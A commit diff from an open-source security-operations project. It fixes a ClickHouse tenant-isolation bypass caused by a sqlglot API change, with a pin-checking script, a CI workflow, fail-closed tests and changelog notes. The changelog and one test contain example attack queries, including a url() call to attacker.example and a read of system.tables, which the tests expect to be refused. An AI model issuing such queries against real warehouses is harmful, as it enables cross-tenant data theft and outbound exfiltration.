Skip to content

armgit / AiSOC

Public Imported from GitHub
0

Open-source AI Security Operations Center: alert fusion, LLM-agent triage, MITRE ATT&CK investigation, and a replayable decision ledger for every agent step. Self-hostable, runs with no API keys, MIT licensed. Ships an MCP server for Claude, Cursor and Continue.

Lake tenant isolation could be turned off by a dependency resolving one major higher (#788)

Beenu Arora474a54a237cb
diff --git a/.github/workflows/check-openapi.yml b/.github/workflows/check-openapi.yml
index d76ad1ddb..6d8c2b7e5 100644
--- a/.github/workflows/check-openapi.yml
+++ b/.github/workflows/check-openapi.yml
@@ -27,7 +27,7 @@ env:
opentelemetry-exporter-otlp-proto-grpc
"opentelemetry-instrumentation-fastapi"
"strawberry-graphql[fastapi]" httpx email-validator PyJWT
- sqlglot
+ "sqlglot>=23,<27"
jobs:
openapi-check:
diff --git a/.github/workflows/lake-isolation.yml b/.github/workflows/lake-isolation.yml
new file mode 100644
index 000000000..273bb7a15
--- /dev/null
+++ b/.github/workflows/lake-isolation.yml
@@ -0,0 +1,92 @@
+name: Lake tenant isolation
+
+# The ClickHouse lake holds every tenant's raw events in one table, so the
+# only thing standing between tenant A and tenant B is the `tenant_id`
+# predicate that `services/api/app/services/lake_sql.py` injects into
+# untrusted operator SQL before it reaches the warehouse. That rewriter is
+# built on sqlglot's AST, and sqlglot's AST is not a stable contract.
+#
+# It has already broken once in exactly the way that is hardest to notice.
+# sqlglot 27 moved the SELECT's FROM clause from `args["from"]` to
+# `args["from_"]`. The rewriter read the old key, found nothing, concluded
+# the statement was a constant projection with no tables, and returned it
+# unchanged — skipping the table allowlist, the ban on ClickHouse table
+# functions such as `url()`, and the tenant predicate — while reporting
+# success. `services/api/pyproject.toml` allowed `<31.0.0` at the time, so a
+# `poetry install` produced an API with no lake isolation at all. CI never
+# saw it because every workflow installed the narrow `>=23,<27` range.
+#
+# Two gates, both cheap, both addressing that specific failure:
+#
+# 1. `check_sqlglot_pin.py` — every install path must declare the same
+# range, so two builds of one commit cannot disagree about the
+# version of the parser that enforces isolation.
+# 2. The rewriter suite runs against the pinned range *and* against the
+# next major. The second leg is forward-compatibility coverage: we
+# ship the pinned range, but a future bump must fail loudly here
+# rather than quietly downgrade isolation in production.
+
+on:
+ push:
+ branches: [main]
+ paths:
+ - 'services/api/app/services/lake_sql.py'
+ - 'services/api/tests/test_lake_sql*.py'
+ - 'services/api/pyproject.toml'
+ - 'services/api/Dockerfile'
+ - 'scripts/check_sqlglot_pin.py'
+ - '.github/workflows/lake-isolation.yml'
+ pull_request:
+ paths:
+ - 'services/api/app/services/lake_sql.py'
+ - 'services/api/tests/test_lake_sql*.py'
+ - 'services/api/pyproject.toml'
+ - 'services/api/Dockerfile'
+ - 'scripts/check_sqlglot_pin.py'
+ - '.github/workflows/lake-isolation.yml'
+ workflow_dispatch:
+
+permissions:
+ contents: read
+
+concurrency:
+ group: lake-isolation-${{ github.ref }}
+ cancel-in-progress: true
+
+jobs:
+ pin-agreement:
+ name: sqlglot pin is identical everywhere
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
+ - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
+ with:
+ python-version: '3.11'
+ - run: python scripts/check_sqlglot_pin.py
+
+ rewriter:
+ name: rewriter (sqlglot ${{ matrix.sqlglot }})
+ runs-on: ubuntu-latest
+ strategy:
+ fail-fast: false
+ matrix:
+ include:
+ # The range the service ships and CI installs everywhere else.
+ - sqlglot: '>=23,<27'
+ label: shipped
+ # The next major. Not shipped; proves a bump cannot silently
+ # turn the isolation guarantee off the way 27 did.
+ - sqlglot: '>=27,<31'
+ label: forward-compat
+ steps:
+ - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
+ - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
+ with:
+ python-version: '3.11'
+ - name: Install
+ run: pip install --quiet pytest "sqlglot${{ matrix.sqlglot }}"
+ - name: Record resolved version
+ run: python -c "import sqlglot; print('resolved sqlglot', sqlglot.__version__)"
+ - name: Rewriter + fail-closed suites
+ working-directory: services/api
+ run: python -m pytest tests/test_lake_sql.py tests/test_lake_sql_fail_closed.py -q
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 1a60eec75..ecc4b370e 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -95,6 +95,40 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
### Fixed
+- **The lake's tenant isolation could be switched off by resolving a
+ dependency one major version higher.** `lake_sql.rewrite_for_tenant` is the
+ only thing separating one tenant's events from another's in ClickHouse: it
+ parses untrusted operator SQL with sqlglot, enforces the table allowlist
+ against the parse tree, bans ClickHouse table functions, and injects the
+ `tenant_id` predicate. sqlglot 27 moved the SELECT's FROM clause from
+ `args["from"]` to `args["from_"]`. The table walk read the old key, got
+ nothing, and took the branch written for `SELECT 1` — "no FROM, so no tenant
+ data, nothing to do". Every single-table query then came back with no
+ allowlist check, no table-function ban and no tenant predicate, reported as
+ a successful rewrite.
+
+ `services/api/pyproject.toml` declared `sqlglot >=23.0.0,<31.0.0` while the
+ Dockerfile and every CI workflow declared `>=23,<27`, so this was reachable
+ by installing the service exactly as declared, and CI could not see it
+ because CI installed the narrow range. Verified on sqlglot 30.19.0 against
+ the pre-fix rewriter: `SELECT user_name FROM aisoc.raw_events` returned
+ unscoped, `SELECT * FROM system.tables` was accepted, and
+ `url('https://attacker.example/x', JSONEachRow)` was accepted — the last of
+ which makes the warehouse issue outbound HTTP with its own network identity.
+
+ Three changes rather than one, because pinning alone would leave the trap
+ armed for the next bump. The FROM clause now resolves by node type instead
+ of by key name. `rewrite_for_tenant` ends with an audit that takes its own
+ independent census of the statement's tables and raises the new
+ `LakeSqlIsolationError` unless every one of them was scoped, the tenant
+ survived into the rendered string, and every rendered SELECT that reads a
+ lake table carries the tenant in its own WHERE — so a partially scoped
+ UNION fails too. And all seven install paths now declare one identical
+ range, enforced by `scripts/check_sqlglot_pin.py`, with
+ `.github/workflows/lake-isolation.yml` running the rewriter suites against
+ both the shipped range and the next major so a future bump fails loudly
+ instead of quietly downgrading isolation.
+
- **Scheduled hunts ran against credentials that could not exist, so every one
of them returned zero hits.** The event-warehouse drivers resolved their
endpoint and secret from `settings.ES_URL` / `ES_API_KEY` / `SPLUNK_URL` /
diff --git a/scripts/check_sqlglot_pin.py b/scripts/check_sqlglot_pin.py
new file mode 100644
index 000000000..a8b2e76d7
--- /dev/null
+++ b/scripts/check_sqlglot_pin.py
@@ -0,0 +1,189 @@
+#!/usr/bin/env python3
+"""Assert every install path declares the same sqlglot version range.
+
+sqlglot is not an ordinary dependency. It is the component that enforces
+tenant isolation on the ClickHouse lake: `services/api/app/services/lake_sql.py`
+parses untrusted operator SQL with it, checks the table allowlist against the
+parse tree, bans ClickHouse table functions, and injects the mandatory
+`tenant_id` predicate into every relation. If two builds of the same commit
+resolve different sqlglot versions, they have different isolation guarantees.
+
+That is not hypothetical. `services/api/pyproject.toml` declared `<31.0.0`
+while the Dockerfile and every CI workflow declared `<27`. sqlglot moved the
+SELECT's FROM clause from `args["from"]` to `args["from_"]` in 27, so on the
+versions only pyproject allowed, the rewriter's table walk found nothing,
+concluded the query was a constant projection, and returned it untouched —
+no allowlist check, no table-function ban, and no tenant predicate — while
+reporting success. The unit tests would have caught it; they never ran on a
+version pyproject permitted, because CI installed the narrow range.
+
+So the property this gate enforces is *agreement*, not any particular bound.
+Widening the supported range is fine; widening it in one place is not.
+"""
+
+from __future__ import annotations
+
+import re
+import sys
+from pathlib import Path
+
+REPO_ROOT = Path(__file__).resolve().parent.parent
+
+# Every file that installs sqlglot for a build or a test run. A new one must
+# be added here; `test_every_declaration_is_registered` below is the backstop
+# that notices when a declaration exists in a file this list does not name.
+DECLARING_FILES = (
+ "services/api/pyproject.toml",
+ "services/api/Dockerfile",
+ ".github/workflows/ci.yml",
+ ".github/workflows/integration.yml",
+ ".github/workflows/isolation-live.yml",
+ ".github/workflows/cross-tenant-rbac.yml",
+ ".github/workflows/check-openapi.yml",
+)
+
+# `lake-isolation.yml` installs sqlglot from a build matrix, deliberately
+# including a version outside the shipped range so a future bump cannot
+# silently turn isolation off. It therefore cannot declare a single pin. What
+# it *must* do is test the version we ship, so the matrix leg labelled
+# `shipped` is checked against the agreed pin below.
+MATRIX_WORKFLOW = ".github/workflows/lake-isolation.yml"
+_SHIPPED_MATRIX_LEG = re.compile(r"""-\s*sqlglot:\s*["'](?P<spec>[^"']+)["']\s*\n\s*label:\s*shipped""")
+
+# Where we deliberately do not look: prose, and the archived prototype subtree.
+SKIP_PREFIXES = ("plans/", "apps/docs/", "docs/", "scripts/check_sqlglot_pin.py")
+
+# Three declaration shapes, matched precisely so that prose *about* sqlglot
+# (this file is full of it, and so are the workflow comments) is not mistaken
+# for a dependency declaration. The distinguishing feature of a real
+# declaration is that the version operator is either assigned with `=` or
+# attached to the package name with no space, exactly as pip and poetry
+# require. A sentence writes "sqlglot >= 27" with spaces; a requirement
+# never does.
+_DECLARATIONS = (
+ # poetry: sqlglot = ">=23,<27"
+ re.compile(r"""^\s*sqlglot\s*=\s*["'](?P<spec>[^"']*)["']""", re.MULTILINE),
+ # pip requirement, quoted or bare: "sqlglot>=23,<27" / sqlglot>=23,<27
+ re.compile(r"""["']?sqlglot(?P<spec>[<>=!~][^"'\s]*)["']?"""),
+ # pip requirement with no bound at all, alone on its line in an args list
+ re.compile(r"""^\s*["']?sqlglot["']?\s*\\?\s*$""", re.MULTILINE),
+)
+
+
+def normalise(spec: str) -> str:
+ """Reduce a specifier to a comparable form.
+
+ `>=23.0.0,<27.0.0` and `>=23,<27` are the same constraint written two
+ ways, and failing a build over trailing zeros would train people to
+ silence this gate rather than read it.
+ """
+ parts = []
+ for clause in spec.replace(" ", "").split(","):
+ if not clause:
+ continue
+ match = re.match(r"^(?P<op>[<>=!~]+)(?P<ver>[\d.*]+)$", clause)
+ if not match:
+ parts.append(clause)
+ continue
+ version = match.group("ver").rstrip(".")
+ while version.endswith(".0"):
+ version = version[: -len(".0")]
+ parts.append(f"{match.group('op')}{version}")
+ return ",".join(sorted(parts))
+
+
+def declarations_in(text: str) -> list[str]:
+ """Every sqlglot dependency declaration in one file, as written.
+
+ An unbounded declaration yields the empty string so it surfaces as a
+ disagreement rather than vanishing from the comparison.
+ """
+ found: list[str] = []
+ for pattern in _DECLARATIONS:
+ for match in pattern.finditer(text):
+ spec = (match.groupdict().get("spec") or "").strip().strip(",").strip()
+ found.append(spec if any(c.isdigit() for c in spec) else "")
+ return found
+
+
+def scan_for_unregistered() -> list[str]:
+ """Find sqlglot installs in files `DECLARING_FILES` does not name."""
+ registered = {REPO_ROOT / p for p in (*DECLARING_FILES, MATRIX_WORKFLOW)}
+ stray: list[str] = []
+ roots = [REPO_ROOT / ".github" / "workflows", REPO_ROOT / "services"]
+ for root in roots:
+ if not root.is_dir():
+ continue
+ for path in root.rglob("*"):
+ if not path.is_file() or path in registered:
+ continue
+ if path.suffix not in {".yml", ".yaml", ".toml", ".txt", ""}:
+ continue
+ if path.name not in {"Dockerfile"} and path.suffix == "":
+ continue
+ rel = path.relative_to(REPO_ROOT).as_posix()
+ if rel.startswith(SKIP_PREFIXES):
+ continue
+ try:
+ text = path.read_text(encoding="utf-8")
+ except (OSError, UnicodeDecodeError):
+ continue
+ if declarations_in(text):
+ stray.append(rel)
+ return stray
+
+
+def main() -> int:
+ seen: dict[str, list[str]] = {}
+ missing: list[str] = []
+
+ for rel in DECLARING_FILES:
+ path = REPO_ROOT / rel
+ if not path.exists():
+ missing.append(rel)
+ continue
+ specs = declarations_in(path.read_text(encoding="utf-8"))
+ if not specs:
+ missing.append(rel)
+ continue
+ for spec in specs:
+ seen.setdefault(normalise(spec), []).append(f"{rel} ({spec or 'no version bound'})")
+
+ problems: list[str] = []
+ if missing:
+ problems.append("files registered as declaring sqlglot but not doing so: " + ", ".join(missing))
+ if len(seen) > 1:
+ detail = "; ".join(f"[{norm or 'unbounded'}] {', '.join(files)}" for norm, files in sorted(seen.items()))
+ problems.append(f"sqlglot is pinned {len(seen)} different ways: {detail}")
+
+ stray = scan_for_unregistered()
+ if stray:
+ problems.append("sqlglot installed in unregistered file(s), add them to DECLARING_FILES: " + ", ".join(sorted(stray)))
+
+ agreed = next(iter(seen)) if len(seen) == 1 else None
+ matrix_path = REPO_ROOT / MATRIX_WORKFLOW
+ if not matrix_path.exists():
+ problems.append(f"{MATRIX_WORKFLOW} is missing — the rewriter would no longer be tested across sqlglot majors")
+ elif agreed is not None:
+ leg = _SHIPPED_MATRIX_LEG.search(matrix_path.read_text(encoding="utf-8"))
+ if leg is None:
+ problems.append(f"{MATRIX_WORKFLOW} has no matrix leg labelled `shipped`")
+ elif normalise(leg.group("spec")) != agreed:
+ problems.append(
+ f"{MATRIX_WORKFLOW} tests the shipped rewriter against {leg.group('spec')}, but the declared pin is {agreed}"
+ )
+
+ if problems:
+ print("check_sqlglot_pin: FAIL")
+ for problem in problems:
+ print(f" - {problem}")
+ print("\n sqlglot enforces lake tenant isolation. Every install path must agree.")
+ return 1
+
+ only = next(iter(seen))
+ print(f"check_sqlglot_pin: OK — {len(DECLARING_FILES)} install paths all declare {only}")
+ return 0
+
+
+if __name__ == "__main__":
+ sys.exit(main())
diff --git a/services/api/app/services/lake_sql.py b/services/api/app/services/lake_sql.py
index 6e74642f2..b266b35f0 100644
--- a/services/api/app/services/lake_sql.py
+++ b/services/api/app/services/lake_sql.py
@@ -109,6 +109,27 @@ class LakeSqlForbiddenError(LakeSqlError):
"""The SQL parsed but violated policy (non-SELECT, bad table, …)."""
+class LakeSqlIsolationError(LakeSqlError):
+ """The rewrite finished but could not be proven tenant-scoped.
+
+ Raised by the post-rewrite audit in :func:`rewrite_for_tenant` when the
+ rendered statement does not carry the tenant predicate for every real
+ table it touches. Callers must treat this as a refusal to execute, never
+ as a warning: the alternative is forwarding an unscoped query to a
+ warehouse that holds every tenant's events.
+
+ The audit exists because this module's guarantees depend on sqlglot's
+ AST shape, and that shape is not a stable contract. sqlglot moved the
+ ``SELECT``'s FROM clause from ``args["from"]`` to ``args["from_"]``,
+ which turned the table walk into a no-op: every single-table query was
+ classified as a constant projection, so it skipped the allowlist, the
+ table-function ban *and* the tenant predicate, and the rewriter returned
+ success. A guarantee that can be switched off by a dependency resolving
+ one minor version differently needs a check that does not share the
+ assumption it is checking.
+ """
+
+
@dataclass(frozen=True)
class RewriteResult:
"""Outcome of a successful rewrite.
@@ -158,6 +179,8 @@ def rewrite_for_tenant(
The statement is forbidden DML/DDL, references multiple
statements, touches a non-allowlisted table, or invokes a
ClickHouse table function.
+ LakeSqlIsolationError
+ The rewrite produced SQL that could not be proven tenant-scoped.
"""
effective_cap = _resolve_row_cap(row_cap)
@@ -223,6 +246,10 @@ def rewrite_for_tenant(
_clamp_outer_limit(root, effective_cap)
rewritten = tree.sql(dialect="clickhouse")
+
+ # ── Step 6: audit the result before handing it to ClickHouse ─────
+ _audit_tenant_scope(tree, rewritten, tenant_id, cte_aliases, referenced)
+
return RewriteResult(
sql=rewritten,
row_cap=effective_cap,
@@ -346,9 +373,7 @@ def _direct_tables(select: exp.Select) -> list[exp.Table]:
"""
out: list[exp.Table] = []
- # sqlglot stores the FROM clause under args["from"]. Using the args
- # dict key is the canonical way to access it regardless of version.
- from_expr = select.args.get("from")
+ from_expr = _from_clause(select)
if from_expr is not None:
_collect_direct_tables(from_expr, out)
@@ -358,6 +383,25 @@ def _direct_tables(select: exp.Select) -> list[exp.Table]:
return out
+def _from_clause(select: exp.Select) -> exp.Expression | None:
+ """Return this Select's FROM clause, whatever sqlglot is calling it.
+
+ The arg key is not a stable interface: sqlglot ≤ 26 stores the clause
+ under ``"from"`` and ≥ 27 under ``"from_"``. Reading one key and
+ treating a miss as "this SELECT has no FROM" is what silently disabled
+ the whole policy layer, so the node type is the authority here and the
+ key names are only a fast path.
+ """
+ for key in ("from", "from_"):
+ node = select.args.get(key)
+ if node is not None:
+ return node
+ for value in select.args.values():
+ if isinstance(value, exp.From):
+ return value
+ return None
+
+
def _collect_direct_tables(node: exp.Expression, out: list[exp.Table]) -> None:
"""Walk ``node`` collecting Table references, stopping at nested SELECTs.
@@ -380,6 +424,93 @@ def _collect_direct_tables(node: exp.Expression, out: list[exp.Table]) -> None:
_collect_direct_tables(item, out)
+def _where_clause(select: exp.Select) -> exp.Expression | None:
+ """Return this Select's WHERE clause, resolved by node type."""
+ node = select.args.get("where")
+ if node is not None:
+ return node
+ for value in select.args.values():
+ if isinstance(value, exp.Where):
+ return value
+ return None
+
+
+def _census_tables(tree: exp.Expression, cte_aliases: set[str]) -> tuple[set[str], bool]:
+ """Every real table the statement references, counted independently.
+
+ Deliberately does not reuse the FROM/JOIN walk. Its whole job is to
+ disagree with that walk when the walk goes blind, so sharing its
+ assumptions would make it decorative.
+ """
+ names: set[str] = set()
+ saw_function = False
+ for table in tree.find_all(exp.Table):
+ if _is_table_function(table):
+ saw_function = True
+ continue
+ if not table.name:
+ continue
+ if not table.db and table.name in cte_aliases:
+ continue
+ names.add(_qualified_name(table))
+ return names, saw_function
+
+
+def _audit_tenant_scope(
+ tree: exp.Expression,
+ rendered: str,
+ tenant_id: uuid.UUID,
+ cte_aliases: set[str],
+ referenced: set[str],
+) -> None:
+ """Refuse to return SQL whose tenant scoping cannot be demonstrated.
+
+ Three independent things have to hold, and each corresponds to a way
+ the rewrite above has actually been observed to fail open:
+
+ 1. Every table in the statement was seen by the rewrite. A table the
+ walk never visited was never allowlist-checked and never given a
+ predicate.
+ 2. The tenant literal survived into the rendered string, so a
+ ``where()`` call that quietly returned a copy cannot pass.
+ 3. Every rendered SELECT that reads a real table carries the tenant in
+ its own WHERE, so a partially-scoped UNION cannot pass either.
+ """
+ census, saw_function = _census_tables(tree, cte_aliases)
+
+ if saw_function:
+ raise LakeSqlForbiddenError("ClickHouse table functions are not allowed in lake queries")
+
+ missed = census - referenced
+ if missed:
+ raise LakeSqlIsolationError(
+ "refusing to execute: table(s) " + ", ".join(sorted(missed)) + " were not tenant-scoped by the rewriter"
+ )
+
+ if not referenced:
+ # Constant projection, or a statement whose only relations are CTE
+ # aliases whose bodies were scoped on their own visit.
+ return
+
+ tid = str(tenant_id)
+ if tid not in rendered:
+ raise LakeSqlIsolationError("refusing to execute: the tenant predicate did not survive rendering")
+
+ try:
+ reparsed = sqlglot.parse_one(rendered, read="clickhouse")
+ except sqlglot.errors.ParseError as exc: # pragma: no cover - we generated this SQL
+ raise LakeSqlIsolationError(f"refusing to execute: rewritten SQL no longer parses ({exc})") from exc
+
+ reparsed_ctes = {cte.alias_or_name for cte in reparsed.find_all(exp.CTE)}
+ for select in reparsed.find_all(exp.Select):
+ reads_real_table = any(t.name and not (not t.db and t.name in reparsed_ctes) for t in _direct_tables(select))
+ if not reads_real_table:
+ continue
+ where = _where_clause(select)
+ if where is None or tid not in where.sql(dialect="clickhouse"):
+ raise LakeSqlIsolationError("refusing to execute: a SELECT reading lake tables has no tenant predicate")
+
+
def _is_table_function(table: exp.Table) -> bool:
"""Detect ClickHouse table-valued functions in FROM/JOIN positions.
diff --git a/services/api/pyproject.toml b/services/api/pyproject.toml
index bacf9b9e5..933a06b26 100644
--- a/services/api/pyproject.toml
+++ b/services/api/pyproject.toml
@@ -40,10 +40,16 @@ clickhouse-driver = "^0.2.8"
# sqlglot powers the tenant-lake SQL rewriter (Workstream 7). We use it to
# parse user-supplied SELECTs, enforce a table allowlist, and inject the
# mandatory `tenant_id = '<uuid>'` predicate into every relation (including
-# subqueries) before the statement is forwarded to ClickHouse. Pinned with
-# a wide range because sqlglot ships frequent dialect tweaks and we don't
-# want lockstep upgrades; the rewriter is exercised by unit tests.
-sqlglot = ">=23.0.0,<31.0.0"
+# subqueries) before the statement is forwarded to ClickHouse.
+#
+# The range must match the Dockerfile and every CI workflow exactly, and
+# `scripts/check_sqlglot_pin.py` fails the build if they drift. This is not
+# tidiness: sqlglot is the component that enforces tenant isolation on the
+# lake, so two builds of the same commit resolving different versions means
+# two different isolation guarantees. This line read `<31.0.0` while the
+# Dockerfile and CI read `<27`, and on 27+ the rewriter returned unscoped
+# SQL and reported success.
+sqlglot = ">=23,<27"
boto3 = "^1.34.0"
neo4j = ">=5.19,<7.0"
pysigma = "^0.11.0"
diff --git a/services/api/tests/test_lake_sql_fail_closed.py b/services/api/tests/test_lake_sql_fail_closed.py
new file mode 100644
index 000000000..986a630d4
--- /dev/null
+++ b/services/api/tests/test_lake_sql_fail_closed.py
@@ -0,0 +1,214 @@
+"""The lake rewriter must refuse, not shrug, when it cannot scope a query.
+
+`test_lake_sql.py` is the spec for what the rewriter *does*. This file is the
+spec for what happens when the rewriter stops working — which it did, in
+production-shaped conditions, without anybody noticing.
+
+sqlglot 27 renamed the SELECT's FROM clause from `args["from"]` to
+`args["from_"]`. The table walk read one key, got `None`, and took the branch
+written for `SELECT 1` — "no FROM, so no tenant data, nothing to do". Every
+single-table query then skipped the allowlist, skipped the ban on ClickHouse
+table functions, and skipped the tenant predicate, and `rewrite_for_tenant`
+returned it as a successful rewrite. `services/api/pyproject.toml` permitted
+`sqlglot <31.0.0`, so this was reachable by installing the service as
+declared.
+
+The tests below therefore come in two kinds.
+
+*Version-specific*: assert the current parser produces a scoped statement.
+Useful, but it is the kind of test that was already present and still let the
+bug ship, because CI only ever installed a version where it passed.
+
+*Version-independent*: blind the table walk on purpose and assert the
+rewriter raises. These hold on every sqlglot release, because they do not
+depend on which key the parser is using this month — they encode the rule
+that an unprovable scope is a refusal. They fail against the pre-fix
+rewriter on any version.
+"""
+
+from __future__ import annotations
+
+import uuid
+
+import pytest
+import sqlglot
+from app.services import lake_sql
+from app.services.lake_sql import (
+ LakeSqlForbiddenError,
+ LakeSqlIsolationError,
+ rewrite_for_tenant,
+)
+
+TENANT_ID = uuid.UUID("3f2504e0-4f89-11d3-9a0c-0305e82c3301")
+OTHER_TENANT = uuid.UUID("7b16a7e0-1111-4b2c-9f3d-000000000002")
+
+
+def _blind_the_table_walk(monkeypatch: pytest.MonkeyPatch) -> None:
+ """Reproduce the sqlglot-27 breakage on whatever sqlglot is installed.
+
+ The real failure was `select.args.get("from")` returning `None` because
+ the key had been renamed. Forcing `_from_clause` to `None` reproduces
+ that state exactly, without needing the specific release that caused it.
+ """
+ monkeypatch.setattr(lake_sql, "_from_clause", lambda _select: None)
+
+
+# ---------------------------------------------------------------------------
+# Version-independent: a rewrite that cannot be proven scoped must raise
+# ---------------------------------------------------------------------------
+
+
+def test_blinded_table_walk_refuses_instead_of_returning_unscoped_sql(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ """The exact production failure: no predicate, reported as success.
+
+ Against the pre-fix rewriter this returns
+ `SELECT user_name FROM aisoc.raw_events LIMIT 10000` — every tenant's
+ rows — with `referenced_tables` empty and no error.
+ """
+ _blind_the_table_walk(monkeypatch)
+
+ with pytest.raises(LakeSqlIsolationError) as excinfo:
+ rewrite_for_tenant("SELECT user_name FROM aisoc.raw_events", TENANT_ID)
+
+ assert "aisoc.raw_events" in str(excinfo.value)
+
+
+def test_blinded_table_walk_still_refuses_non_allowlisted_tables(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ """The allowlist went off with the predicate. `system.tables` is not lake data."""
+ _blind_the_table_walk(monkeypatch)
+
+ with pytest.raises((LakeSqlForbiddenError, LakeSqlIsolationError)):
+ rewrite_for_tenant("SELECT * FROM system.tables", TENANT_ID)
+
+
+def test_blinded_table_walk_still_refuses_table_functions(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ """`url()` is an outbound HTTP request made by the warehouse.
+
+ With the walk blinded the pre-fix rewriter forwarded this to ClickHouse,
+ which turns the lake into an egress channel: the statement is executed
+ with the warehouse's network identity, so it reaches anything the
+ warehouse can reach and can post rows to it.
+ """
+ _blind_the_table_walk(monkeypatch)
+
+ with pytest.raises((LakeSqlForbiddenError, LakeSqlIsolationError)):
+ rewrite_for_tenant(
+ "SELECT * FROM url('https://attacker.example/x', JSONEachRow, 'tenant_id String')",
+ TENANT_ID,
+ )
+
+
+def test_blinded_walk_leaves_constant_projections_alone(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ """A statement that genuinely has no FROM must still be allowed.
+
+ Otherwise the fix would be "refuse everything", which passes an
+ isolation test and breaks the product.
+ """
+ _blind_the_table_walk(monkeypatch)
+
+ result = rewrite_for_tenant("SELECT 1 AS hello", TENANT_ID)
+ assert result.referenced_tables == frozenset()
+
+
+def test_predicate_stripped_after_injection_is_caught(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ """A `where()` that silently stops mutating the tree must not pass.
+
+ Injection succeeding in the AST and not surviving into the rendered
+ string is a different failure from the one above, and the audit has to
+ catch it independently — otherwise we are only testing the bug we
+ already know about.
+ """
+ original = lake_sql._validate_and_rewrite_select
+
+ def _inject_then_discard(select, tenant_id, cte_aliases, referenced): # noqa: ANN001, ANN202
+ original(select, tenant_id, cte_aliases, referenced)
+ select.set("where", None)
+
+ monkeypatch.setattr(lake_sql, "_validate_and_rewrite_select", _inject_then_discard)
+
+ with pytest.raises(LakeSqlIsolationError):
+ rewrite_for_tenant("SELECT user_name FROM aisoc.raw_events", TENANT_ID)
+
+
+def test_partially_scoped_union_is_caught(monkeypatch: pytest.MonkeyPatch) -> None:
+ """One scoped branch and one unscoped branch is still a cross-tenant read.
+
+ A whole-statement "does the tenant id appear anywhere" check would pass
+ this, which is why the audit walks each rendered SELECT.
+ """
+ calls = {"n": 0}
+ original = lake_sql._validate_and_rewrite_select
+
+ def _skip_the_second_branch(select, tenant_id, cte_aliases, referenced): # noqa: ANN001, ANN202
+ calls["n"] += 1
+ original(select, tenant_id, cte_aliases, referenced)
+ if calls["n"] == 2:
+ select.set("where", None)
+
+ monkeypatch.setattr(lake_sql, "_validate_and_rewrite_select", _skip_the_second_branch)
+
+ with pytest.raises(LakeSqlIsolationError):
+ rewrite_for_tenant(
+ "SELECT id FROM aisoc.raw_events UNION ALL SELECT id FROM aisoc.alert_metrics",
+ TENANT_ID,
+ )
+
+
+# ---------------------------------------------------------------------------
+# The FROM-clause lookup itself
+# ---------------------------------------------------------------------------
+
+
+ "sql",
+ [
+ "SELECT user_name FROM aisoc.raw_events",
+ "SELECT * FROM raw_events",
+ "SELECT id FROM aisoc.raw_events WHERE severity = 'high'",
+ "WITH h AS (SELECT id FROM aisoc.raw_events) SELECT * FROM h",
+ "SELECT id FROM aisoc.raw_events UNION ALL SELECT id FROM aisoc.alert_metrics",
+ "SELECT id FROM aisoc.alert_metrics WHERE event_id IN (SELECT id FROM aisoc.raw_events)",
+ "SELECT r.id FROM aisoc.raw_events r JOIN aisoc.alert_metrics a ON a.event_id = r.id",
+ ],
+)
+def test_every_shape_carries_the_tenant_on_this_sqlglot(sql: str) -> None:
+ """Whatever sqlglot is installed, these shapes come back scoped.
+
+ The single-table cases are the ones that silently lost their predicate
+ on sqlglot >= 27. Run this file on both sides of that boundary (the
+ `lake-isolation.yml` matrix does) and the regression cannot return.
+ """
+ result = rewrite_for_tenant(sql, TENANT_ID)
+
+ assert str(TENANT_ID) in result.sql, f"no tenant predicate on sqlglot {sqlglot.__version__}: {result.sql}"
+ assert result.referenced_tables, "a query over lake tables reported touching none"
+ assert str(OTHER_TENANT) not in result.sql
+
+
+def test_from_clause_is_found_by_node_type_not_by_key_name() -> None:
+ """The lookup must not depend on the arg key, which is not a contract.
+
+ `args["from"]` became `args["from_"]`; assume a third rename and the
+ resolver still has to find the clause.
+ """
+ select = sqlglot.parse_one("SELECT a FROM aisoc.raw_events", read="clickhouse")
+ clause = lake_sql._from_clause(select)
+
+ assert clause is not None
+ assert isinstance(clause, sqlglot.exp.From)
+
+ renamed = sqlglot.parse_one("SELECT a FROM aisoc.raw_events", read="clickhouse")
+ for key in ("from", "from_"):
+ if key in renamed.args:
+ renamed.args["a_future_rename"] = renamed.args.pop(key)
+ assert isinstance(lake_sql._from_clause(renamed), sqlglot.exp.From)
diff --git a/tests/isolation/README.md b/tests/isolation/README.md
index c1c078f69..b66639f72 100644
--- a/tests/isolation/README.md
+++ b/tests/isolation/README.md
@@ -31,3 +31,18 @@ See `stores.py::STORES`. Each store is one of:
`services/api/tests/test_*_tenant_isolation.py`).
- `container_gated` — live-container A-vs-B replay in `isolation-live.yml`
(Neo4j, Redis, ClickHouse, Kafka).
+
+## The parser that enforces ClickHouse isolation is itself a dependency
+
+ClickHouse scoping is produced by `sqlglot` walking a parse tree, so the
+guarantee is only as stable as that tree's shape. It is not stable: sqlglot 27
+renamed the SELECT's FROM clause arg, the walk stopped finding tables, and the
+rewriter returned every single-table query unscoped *and* unfiltered by the
+allowlist while reporting success. Two gates in
+`.github/workflows/lake-isolation.yml` close that off — `check_sqlglot_pin.py`
+requires all seven install paths to declare one identical range, and the
+rewriter suites run against the shipped range and the next major. The rewriter
+also audits its own output now and raises `LakeSqlIsolationError` rather than
+returning SQL it cannot prove is scoped; `services/api/tests/test_lake_sql_fail_closed.py`
+blinds the table walk deliberately to assert that refusal on any sqlglot
+version.
diff --git a/tests/isolation/stores.py b/tests/isolation/stores.py
index cb14eaa9c..95de232aa 100644
--- a/tests/isolation/stores.py
+++ b/tests/isolation/stores.py
@@ -36,7 +36,9 @@ STORES: tuple[StoreCoverage, ...] = (
StoreCoverage(
"clickhouse",
"container_gated",
- "lake_sql.rewrite_for_tenant injects tenant predicate; live-replay test_live_stores.py::test_clickhouse_lake_query_as_A_excludes_B (isolation-live.yml)",
